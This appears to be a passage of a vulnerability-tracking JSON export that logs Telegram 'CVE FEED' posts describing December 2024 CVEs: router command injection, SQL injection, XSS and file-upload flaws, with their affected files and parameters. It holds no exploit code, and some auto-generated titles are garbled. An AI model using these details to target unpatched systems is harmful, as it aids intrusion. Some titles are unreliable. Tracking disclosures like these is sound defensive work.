"2024-12-27T20:12:24.000000Z"}, {"uuid": "ba8fc1dd-4a20-425a-b50d-597448984f8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://t.me/cvedetector/13787", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12856 - Four-Faith Router OS Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12856 \nPublished : Dec. 27, 2024, 4:15 p.m. | 23\u00a0minutes ago \nDescription : The Four-Faith router models F3x24 and F3x36 are affected by an operating system (OS) command injection vulnerability. At least firmware version 2.0 allows authenticated and remote attackers to execute arbitrary OS commands over HTTP when modifying the system time via apply.cgi. Additionally, this firmware version has default credentials which, if not changed, would effectively change this vulnerability into an unauthenticated and remote OS command execution issue. \nSeverity: 7.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T17:41:58.000000Z"}, {"uuid": "f421c5fb-9e9a-40bb-8d21-f7e61f21b908", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "https://t.me/cvedetector/13786", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12987 - DrayTek Vigor2960/Vigor300B Web Management Interface Os Command Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12987 \nPublished : Dec. 27, 2024, 4:15 p.m. | 23\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, was found in DrayTek Vigor2960 and Vigor300B 1.5.1.4. Affected is an unknown function of the file /cgi-bin/mainfunction.cgi/apmcfgupload of the component Web Management Interface. The manipulation of the argument session leads to os command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.5.1.5 is able to address this issue. It is recommended to upgrade the affected component. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T17:41:58.000000Z"}, {"uuid": "bef53042-4409-4800-ba2f-0efd7fee2765", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12961", "type": "seen", "source": "https://t.me/cvedetector/13688", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12961 - Apache MCA Portfolio Management System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12961 \nPublished : Dec. 26, 2024, 6:15 p.m. | 35\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, was found in 1000 Projects Portfolio Management System MCA 1.0. Affected is an unknown function of the file /update_ach_details.php. The manipulation of the argument q leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T19:55:00.000000Z"}, {"uuid": "f3a5998e-19af-448b-8761-834ac29c00fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12908", "type": "seen", "source": "https://t.me/cvedetector/13687", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12908 - Delinea Secret Server Regular Expression Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12908 \nPublished : Dec. 26, 2024, 4:15 p.m. | 36\u00a0minutes ago \nDescription : Delinea addressed a reported case on Secret Server v11.7.31 (protocol handler version\u00a06.0.3.26)\u00a0where, within the protocol handler function, URI's were compared before normalization and canonicalization, potentially leading to over matching against the approved list. If this attack were successfully exploited, a\u00a0remote attacker may be able to convince a user to visit a malicious web-page, or open a  \nmalicious document which could trigger the vulnerable handler, allowing them to execute  \narbitrary code on the user's machine.\u00a0Delinea added additional validation that the downloaded installer's batch file was in the expected format. \nSeverity: 6.9 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T18:14:44.000000Z"}, {"uuid": "601d6a7a-57bf-41d3-92d3-4c91f7e0d97e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12958", "type": "seen", "source": "https://t.me/cvedetector/13686", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12958 - RPost MCA SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12958 \nPublished : Dec. 26, 2024, 4:15 p.m. | 35\u00a0minutes ago \nDescription : A vulnerability classified as critical has been found in 1000 Projects Portfolio Management System MCA 1.0. This affects an unknown part of the file /update_pro_details.php. The manipulation of the argument q leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T18:14:44.000000Z"}, {"uuid": "17b4278e-851d-42fc-8b41-bfd884e7c162", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12959", "type": "seen", "source": "https://t.me/cvedetector/13685", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12959 - \"Fortress MCA SQL Injection\"\", \n  \"Content\": \"CVE ID : CVE-2024-12959 \nPublished : Dec. 26, 2024, 4:15 p.m. | 35\u00a0minutes ago \nDescription : A vulnerability classified as critical was found in 1000 Projects Portfolio Management System MCA 1.0. This vulnerability affects unknown code of the file /update_personal_details.php. The manipulation of the argument q leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T18:14:43.000000Z"}, {"uuid": "92a9bdaf-e69c-4916-8d92-212c04e3aaa6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12518", "type": "seen", "source": "https://t.me/cvedetector/13557", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12518 - WordPress ShMapper Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-12518 \nPublished : Dec. 24, 2024, 5:15 a.m. | 35\u00a0minutes ago \nDescription : The ShMapper by Teplitsa plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'shmMap' shortcode in all versions up to, and including, 1.4.18 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T06:52:28.000000Z"}, {"uuid": "6c1fb118-e22f-4810-a2d7-107a2804631a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12507", "type": "seen", "source": "https://t.me/cvedetector/13556", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12507 - Optio Dentistry WordPress Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12507 \nPublished : Dec. 24, 2024, 5:15 a.m. | 35\u00a0minutes ago \nDescription : The Optio Dentistry plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'optio-lightbox' shortcode in all versions up to, and including, 2.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T06:52:27.000000Z"}, {"uuid": "6988b23c-3c8f-467f-b4a3-9f39fda15ac9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12266", "type": "seen", "source": "https://t.me/cvedetector/13555", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12266 - ELEX WooCommerce Dynamic Pricing and Discounts Unauthenticated File Archive Inclusion and PHP Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-12266 \nPublished : Dec. 24, 2024, 5:15 a.m. | 35\u00a0minutes ago \nDescription : The ELEX WooCommerce Dynamic Pricing and Discounts plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the elex_dp_export_rules() and elex_dp_import_rules() functions in all versions up to, and including, 2.1.7. This makes it possible for unauthenticated attackers to import and export product rules along with obtaining phpinfo() data \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T06:52:26.000000Z"}, {"uuid": "486a6d50-2c94-40f8-a987-9af978bb37d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12980", "type": "seen", "source": "https://t.me/cvedetector/13711", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12980 - Code-Projects Job Recruitment Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12980 \nPublished : Dec. 27, 2024, 5:15 a.m. | 26\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Job Recruitment 1.0. It has been classified as problematic. Affected is the function fln_update of the file /_parse/_all_edits.php. The manipulation of the argument fname/lname leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T06:47:19.000000Z"}, {"uuid": "93ac81e1-1c2a-431c-92ab-0cd55a2f438b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12954", "type": "seen", "source": "https://t.me/cvedetector/13680", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12954 - \"1000 Projects Portfolio Management System MCA Unrestricted File Upload Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12954 \nPublished : Dec. 26, 2024, 2:15 p.m. | 26\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, was found in 1000 Projects Portfolio Management System MCA 1.0. This affects an unknown part of the file /update_ach.php. The manipulation of the argument ach_certy leads to unrestricted upload. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T15:44:14.000000Z"}, {"uuid": "bdcb7b81-50c0-4fba-b689-4205d8a84c53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12926", "type": "seen", "source": "https://t.me/cvedetector/13636", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12926 - Codezips Project Management System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12926 \nPublished : Dec. 25, 2024, 8:15 p.m. | 41\u00a0minutes ago \nDescription : A vulnerability classified as critical was found in Codezips Project Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /pages/forms/advanced.php. The manipulation of the argument name leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. Other parameters might be affected as well. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-25T22:10:30.000000Z"}, {"uuid": "61f16855-bfdd-4b8e-9013-07ca3751a615", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12032", "type": "seen", "source": "https://t.me/cvedetector/13615", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12032 - Tourfic - WooCommerce Booking SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12032 \nPublished : Dec. 25, 2024, 4:15 a.m. | 38\u00a0minutes ago \nDescription : The Tourfic \u2013 Ultimate Hotel Booking, Travel Booking & Apartment Booking WordPress Plugin | WooCommerce Booking plugin for WordPress is vulnerable to SQL Injection via the 'enquiry_id' parameter of the 'tf_enquiry_reply_email_callback' function in all versions up to, and including, 2.15.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-25T06:17:23.000000Z"}, {"uuid": "cfa3dd68-0090-441e-bddb-c76374c066dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12983", "type": "seen", "source": "https://t.me/cvedetector/13723", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12983 - Apacheumping Cross-Site Scripting in Hospital Management System\", \n  \"Content\": \"CVE ID : CVE-2024-12983 \nPublished : Dec. 27, 2024, 7:15 a.m. | 37\u00a0minutes ago \nDescription : A vulnerability classified as problematic has been found in code-projects Hospital Management System 1.0. This affects an unknown part of the file /hospital/hms/admin/manage-doctors.php of the component Edit Doctor Details Page. The manipulation of the argument Doctor Name leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. Other parameters might be affected as well. \nSeverity: 2.4 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T09:18:00.000000Z"}, {"uuid": "a2d51af1-8b65-4fb6-b603-30f5c0fcf722", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12981", "type": "seen", "source": "https://t.me/cvedetector/13720", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12981 - CodeAstro Car Rental System SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12981 \nPublished : Dec. 27, 2024, 6:15 a.m. | 15\u00a0minutes ago \nDescription : A vulnerability was found in CodeAstro Car Rental System 1.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /bookingconfirm.php. The manipulation of the argument driver_id_from_dropdown leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. Other parameters might be affected as well. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T07:37:40.000000Z"}, {"uuid": "834c2023-122f-4a55-92ad-3b72d84714b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12956", "type": "seen", "source": "https://t.me/cvedetector/13682", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12956 - \"Unrestricted File Upload in 1000 Projects Portfolio Management System MCA\"\", \n  \"Content\": \"CVE ID : CVE-2024-12956 \nPublished : Dec. 26, 2024, 3:15 p.m. | 17\u00a0minutes ago \nDescription : A vulnerability was found in 1000 Projects Portfolio Management System MCA 1.0 and classified as critical. This issue affects some unknown processing of the file /add_achievement_details.php. The manipulation of the argument ach_certy leads to unrestricted upload. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T16:34:21.000000Z"}, {"uuid": "56ece69e-3b79-4d1c-8905-c9102c00cacf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12953", "type": "seen", "source": "https://t.me/cvedetector/13681", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12953 - Apache {(MCA) Unrestricted File Upload Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12953 \nPublished : Dec. 26, 2024, 2:15 p.m. | 26\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, has been found in 1000 Projects Portfolio Management System MCA 1.0. Affected by this issue is some unknown functionality of the file /update_pd_process.php. The manipulation of the argument profile leads to unrestricted upload. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T15:44:14.000000Z"}, {"uuid": "2466f68a-ecc0-4345-9e45-1c025022a69b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12951", "type": "seen", "source": "https://t.me/cvedetector/13679", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12951 - \"1000 Projects Portfolio Management System MCA PHP Unrestricted File Upload Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12951 \nPublished : Dec. 26, 2024, 1:15 p.m. | 36\u00a0minutes ago \nDescription : A vulnerability classified as critical has been found in 1000 Projects Portfolio Management System MCA 1.0. Affected is an unknown function of the file /add_personal_details.php. The manipulation of the argument profile leads to unrestricted upload. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T14:54:05.000000Z"}, {"uuid": "8392dd50-d404-467b-8767-76786969bd2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12622", "type": "seen", "source": "https://t.me/cvedetector/13564", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12622 - WordPress Simple Shopping Cart Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12622 \nPublished : Dec. 24, 2024, 6:15 a.m. | 17\u00a0minutes ago \nDescription : The WordPress Simple Shopping Cart plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wp_cart_button' and 'wp_cart_display_product' shortcodes in all versions up to, and including, 5.0.7 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T07:42:43.000000Z"}, {"uuid": "7ee15641-bc49-4477-b0b0-8d52a010973a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12594", "type": "seen", "source": "https://t.me/cvedetector/13563", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12594 - \"Limit Login Attempts - Locked Site Privilege Escalation Vulnerability in WordPress\"\", \n  \"Content\": \"CVE ID : CVE-2024-12594 \nPublished : Dec. 24, 2024, 6:15 a.m. | 17\u00a0minutes ago \nDescription : The Custom Login Page Styler \u2013 Login Protected Private Site , Change wp-admin login url , WordPress login logo , Temporary admin login access , Rename login , Login customizer, Hide wp-login \u2013 Limit Login Attempts \u2013 Locked Site plugin for WordPress is vulnerable to privilege escalation due to a missing capability check on the 'lps_generate_temp_access_url' AJAX action in all versions up to, and including, 7.1.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to login as other users such as subscribers. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T07:42:42.000000Z"}, {"uuid": "65df01dd-e26d-4e2b-a5b8-5ef4793b0085", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12979", "type": "seen", "source": "https://t.me/cvedetector/13710", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12979 - Code-Projects Job Recruitment Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12979 \nPublished : Dec. 27, 2024, 5:15 a.m. | 26\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Job Recruitment 1.0 and classified as problematic. This issue affects the function cn_update of the file /_parse/_all_edits.php. The manipulation of the argument cname leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Other parameters might be affected as well. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T06:47:19.000000Z"}, {"uuid": "d87d5463-7381-4d40-93b8-c106bb392290", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12966", "type": "seen", "source": "https://t.me/cvedetector/13694", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12966 - \"Code-projects Job Recruitment SQL Injection\"\", \n  \"Content\": \"CVE ID : CVE-2024-12966 \nPublished : Dec. 26, 2024, 9:15 p.m. | 42\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Job Recruitment 1.0. It has been rated as critical. This issue affects the function cn_update of the file /_parse/_all_edits.php. The manipulation of the argument cname/url leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T23:15:42.000000Z"}, {"uuid": "3d7436ae-f88b-4cce-95e2-5e0001b995a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12963", "type": "seen", "source": "https://t.me/cvedetector/13693", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12963 - Code-projects Job Recruitment SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12963 \nPublished : Dec. 26, 2024, 8:15 p.m. | 44\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Job Recruitment 1.0 and classified as critical. Affected by this issue is the function add_xp of the file /_parse/_all_edits.php. The manipulation of the argument job_company leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. Other parameters might be affected as well. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T22:25:32.000000Z"}, {"uuid": "42775568-2f2d-4bce-9958-e3fdda52f2aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12964", "type": "seen", "source": "https://t.me/cvedetector/13692", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12964 - \"1000 Projects Daily College Class Work Report Book SQL Injection Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12964 \nPublished : Dec. 26, 2024, 8:15 p.m. | 44\u00a0minutes ago \nDescription : A vulnerability was found in 1000 Projects Daily College Class Work Report Book 1.0. It has been classified as critical. This affects an unknown part of the file /login.php. The manipulation of the argument user leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T22:25:32.000000Z"}, {"uuid": "3d12fbb7-71ec-4e35-a8d2-53f69fd7aab1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12962", "type": "seen", "source": "https://t.me/cvedetector/13691", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12962 - Code-Projects Job Recruitment SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12962 \nPublished : Dec. 26, 2024, 7:15 p.m. | 24\u00a0minutes ago \nDescription : A vulnerability has been found in code-projects Job Recruitment 1.0 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /_parse/_all_edits.php. The manipulation of the argument skillset leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T20:45:11.000000Z"}, {"uuid": "4ce962fd-ac71-480b-b84e-fc3fe52d8e1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12955", "type": "seen", "source": "https://t.me/cvedetector/13683", "content": "{\n  \"Source\": 